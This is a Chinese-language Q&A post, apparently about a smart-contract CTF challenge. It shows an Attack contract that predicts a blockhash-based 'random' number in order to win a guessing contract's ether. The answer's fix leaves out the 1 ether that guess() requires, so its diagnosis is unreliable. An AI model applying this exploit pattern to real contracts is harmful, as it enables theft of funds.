为什么我会收到此错误“气体估算错误并显示以下消息（见下文）”？

Question

我的混音不断提醒“气体估计错误，并显示以下消息（见下文）。交易执行可能会失败。您想强制发送吗？执行已恢复”。你们能帮我找到我缺少的部分吗？

 pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {
    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

contract Attack {
    address vt = 0x2417929C9AE5884a754Cf1f77FA5FaBDDC9ce92A;
    GuessTheNewNumberChallenge gn = GuessTheNewNumberChallenge(vt);
    function attack() public {
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
        gn.guess(answer);
    }
}

Answer 1

您必须在攻击智能合约中指定 GuessTheNewNumberChallenge
使用其功能的智能合约地址。要解决这个问题，请尝试以下操作：

pragma solidity ^0.4.21;

contract GuessTheNewNumberChallenge {

    function GuessTheNewNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }

    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));

        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

contract Attack {
    // I declare variable refers to GuessTheNewNumberChallenge
    GuessTheNewNumberChallenge private gn;

    // I set into constructor about this smart contract the address where GuessTheNewNumberChallenge deployed.
    // And when the instance is complete, you can use the GuessTheNewNumberChallenge functions. 
    constructor(address gtncAddress) public {
        gn = GuessTheNewNumberChallenge(gtncAddress);
    } 

    function attack() public {
        uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now));
        gn.guess(answer);
    }
}

我在智能合约中添加了一些注释。